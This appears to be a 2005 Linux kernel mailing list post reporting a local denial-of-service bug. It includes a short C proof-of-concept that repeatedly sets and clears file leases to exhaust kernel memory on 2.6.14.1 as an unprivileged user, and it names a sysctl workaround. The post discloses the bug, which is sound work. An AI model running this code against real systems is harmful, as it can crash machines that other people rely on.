lkml.org 
[lkml]   [2005]   [Nov]   [10]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
Subjectlocal denial-of-service with file leases
the following program will oom a the 2.6.14.1 kernel, running as an 
ordinary user:

#include <unistd.h>

#include <stdlib.h>

#include <linux/fcntl.h>

int main(int ac, char **av)

{

char *fname = av[0];

int fd = open(fname, O_RDONLY);

int r;



while (1) {

r = fcntl(fd, F_SETLEASE, F_RDLCK);

if (r == -1) {

perror("F_SETLEASE, F_RDLCK");

exit(1);

}

r = fcntl(fd, F_SETLEASE, F_UNLCK);

if (r == -1) {

perror("F_SETLEASE, F_UNLCK");

exit(1);

}

}

return 0;

}


it will suck all available memory into fasync_cache, causing an oom. a
workaround is to set fs.leases-enable to 0.

this has already been reported to lkml[1] and fedora[2], with no effect.

[1] http://www.ussg.iu.edu/hypermail/linux/kernel/0510.2/1589.html
[2] https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=172691

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/

\
 
 \ /
  Last update: 2005-11-10 18:03    [W:0.016 / U:0.352 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site